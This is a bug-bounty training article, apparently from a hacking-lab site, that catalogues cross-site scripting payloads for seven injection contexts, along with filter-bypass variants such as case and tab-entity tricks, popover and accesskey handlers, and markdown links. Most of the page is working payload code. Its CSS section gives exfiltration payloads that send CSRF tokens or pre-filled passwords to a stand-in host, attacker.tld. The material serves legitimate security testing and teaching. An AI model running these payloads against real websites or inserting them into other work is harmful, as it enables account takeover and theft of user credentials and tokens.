Intermediate levelFree

XSS contexts — payloads per context (HTML, attribute, JS, URL, CSS)

How to identify the exact context where your input is injected and the payloads that escape each one: HTML body, HTML attribute, JS string, JS event, URL, CSS, JSON.

Gorka El BochiMay 11, 202613 min

Quick answer

An XSS payload only works if it escapes the context where your input lands. Injecting <script> inside a value="" attribute doesn't execute — you need to close the quote first. The methodology that scales: inject a unique marker (zzaazz), locate the marker in the DOM, identify the exact context (HTML body / attribute / JS string / JS event / URL / CSS / JSON) and apply the minimal payload that escapes that context. No theory — just seven contexts, seven payloads.


The 7 contexts where your input lands

#ContextHow your input appearsMinimal escape
1HTML body<div>INPUT</div><svg onload=alert(1)>
2HTML attribute<input value="INPUT">"><svg onload=alert(1)>
3JS stringvar x = "INPUT";";alert(1);//
4JS event handleronclick="foo('INPUT')"');alert(1);//
5URL (href/src)<a href="INPUT">javascript:alert(1)
6CSS<style>color:INPUT</style>red;}*{background:url(//evil)}
7JSON embed<script>var d={"x":"INPUT"}</script>"};alert(1);//

Inject zzaazz<>"' and search the response for how it appears — that determines the context.


Context 1 — HTML body

Your input lands between tags. Any tag with an event handler works; <script> only if the page isn't parsed as <noscript>/textarea.

html
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>
<input autofocus onfocus=alert(1)>

If only < and > are filtered but not entities — encode with HTML entities:

html
&lt;img src=x onerror=alert(1)&gt;     ← NO ejecuta (parseado como texto)
<img src=x onerror=&#97;lert(1)>        ← SÍ ejecuta (entidad dentro de atributo)

[!tip] Quick test of the HTML context Inject <u>x and see if it appears underlined in the render — confirms you parsed as HTML.


Context 2 — HTML attribute

Your input lands inside an attribute. Two sub-cases: quoted or unquoted.

Quoted

html
<input value="INPUT">       → cierra comilla + tag
                              "><svg onload=alert(1)>
                              "><img src onerror=alert(1)>

Unquoted (rarer but more permissive)

html
<input value=INPUT>          → espacio basta para nuevo atributo
                              x onfocus=alert(1) autofocus

When > is filtered but the attribute is an event handler

If your input lands directly in onclick="...", you don't need to escape the tag:

html
<button onclick="doStuff('INPUT')">    →  ');alert(1);//

accesskey trick for hidden input / meta

html
/?lol=h0tak88r' accesskey='x' onclick='alert(0)'

The victim must press ALT+SHIFT+X (Chrome/Edge). Useful when you only control an <input type=hidden> or <meta>.

Popover API (Chrome 2023+) — bypass of filters that don't know onbeforetoggle

html
<input type="hidden" value="x" popover id="newsletter" onbeforetoggle=alert(1)>
<meta name="x" content="y" popover id="newsletter" onbeforetoggle=alert(1)>

Requirement: the page already has a <button popovertarget="newsletter">. If your injection appears earlier in the DOM, the browser fires onbeforetoggle on your element.


Context 3 — JS string

Your input lands inside quotes in a <script> block. Close the quote and insert your code.

javascript
<script>
var nombre = "INPUT";        → ";alert(1);//
                              ";alert(document.domain);//
var nombre = 'INPUT';        → ';alert(1);//
</script>

When only " is escaped with \ but not \ itself

scss
INPUT = \";alert(1);//

If the app converts " into \", your \ becomes \\ and the following " closes the string:

scss
\\\";alert(1);//

Backticks (template literals)

javascript
var html = `<div>INPUT</div>`;    → ${alert(1)}
                                     `;alert(1);//

Context 4 — JS event handler

Your input lands inside an event handler attribute. This is HTML + JS combined — you have two layers to escape.

html
<a onclick="goTo('INPUT')">     → ');alert(1);//
<button onclick="alert('INPUT')">  → ');alert(1);//

If the quotes are escaped to &apos; or &#39;, the HTML parser decodes them before passing them to JS — the decoded quote closes the string just the same.

html
<a onclick="goTo('INPUT')">&#39;);alert(1);//

[!warning] Double decoding Event handlers pass through the HTML decoder first, then the JS parser. &#x27;);alert(1);// decodes to ');alert(1);// before executing — useful to bypass filters that only look for literal characters.


Context 5 — URL (href, src, action)

Your input lands as a URL. The classic payload:

javascript
javascript:alert(1)
javascript:alert(document.domain)
data:text/html,<script>alert(1)</script>

Bypass of filters that block javascript:

css
JaVaScRiPt:alert(1)                  ← case
java\tscript:alert(1)                ← tab (\t)
java&#09;script:alert(1)             ← tab entity
java&Tab;script:alert(1)             ← named entity
java%09script:alert(1)               ← URL-encoded
\j\a\v\a\s\c\r\i\p\t:alert(1)        ← backslash escapes (algunos parsers)
markdown
[click](javascript:alert(1))
[click](j a v a s c r i p t:alert(1))
[click](javascript:window.onerror=alert;throw%201)

Useful in apps that render markdown without sanitizing URLs (issue trackers, READMEs, comments).

[!info] Modern frameworks partially cover this React v19 blocks javascript: in href and <object> automatically. But window.open(userInput) and location.href = userInput are not covered — they're still frequent XSS in post-login redirects.


Context 6 — CSS

Your input lands inside a <style> block or a style attribute. CSS doesn't execute JS directly (since IE removed expression()) but it allows data exfiltration:

css
<style>
.user-INPUT { background: red; }
→ x;}*{background:url("//attacker.tld/?c="attr(value));}
</style>

Exfil via attribute selector

css
input[value^="a"] { background: url(//attacker.tld/a); }
input[value^="b"] { background: url(//attacker.tld/b); }
/* ... */

Each letter of a field's value is exfiltrated to your collaborator. Useful against CSRF tokens or pre-filled passwords.

Import of an external stylesheet

css
@import url("//attacker.tld/exfil.css");

Context 7 — JSON embed

The app generates JSON inline inside a <script>:

html
<script>
var data = {"username":"INPUT"};
</script>
                                  → "};alert(1);//
                                  → </script><script>alert(1)</script>

When < is escaped but / isn't

</script> can break out even if <script> is filtered: the HTML parser terminates the <script> block when it sees </script> literally — your JSON is already closed.

php-template
"INPUT": "</script><img src=x onerror=alert(1)>"

Quick identification with a marker

Inject a marker and observe how it appears. A single request gives you the context:

php-template
INPUT = zzaa<u>"'</u>zz</textarea>'/zz

Search for zzaa in the response:

AppearsContext
<u> rendersHTML body
&lt;u&gt; (escaped) and inside <input value="...">HTML attribute
Inside <script>...zzaa..."...zz</script>JS string
Inside onclick="...zzaa..."JS event
Inside <a href="...zzaa...">URL
Inside <style>...zzaa...</style>CSS
Inside <script>var x = {...zzaa...}</script>JSON embed

Hunting checklist

  • Inject a unique marker (zzaazz<>"') and locate it in the response.
  • Identify the exact context before throwing aggressive payloads.
  • Attributes: try with and without closing the quote. Without a quote you only need a space.
  • JS string: try ", ', backtick, </script>.
  • URL sinks: always try javascript: + case/tab/entity variants.
  • Markdown: try [x](javascript:alert(1)) in any field that renders markdown.
  • Hidden/meta attributes: try accesskey + popover onbeforetoggle.
  • CSS: if you only control styles, exfil with an attribute selector + collaborator.
  • JSON embed: try breaking out with </script> even if it looks escaped.
  • Document the minimal payload — it raises the bounty when it's one-shot.

Practice context detection in 8 real apps with different sinks in XSS labs.

Practice this in a lab

Xss Context Finder

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account
Premium · 1 more technique

There's an extra payload at the end

El cheatsheet completo de 47 payloads por contexto + el script que detecta tu contexto automáticamente.

Unlock

€7.99/mo · cancel anytime

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy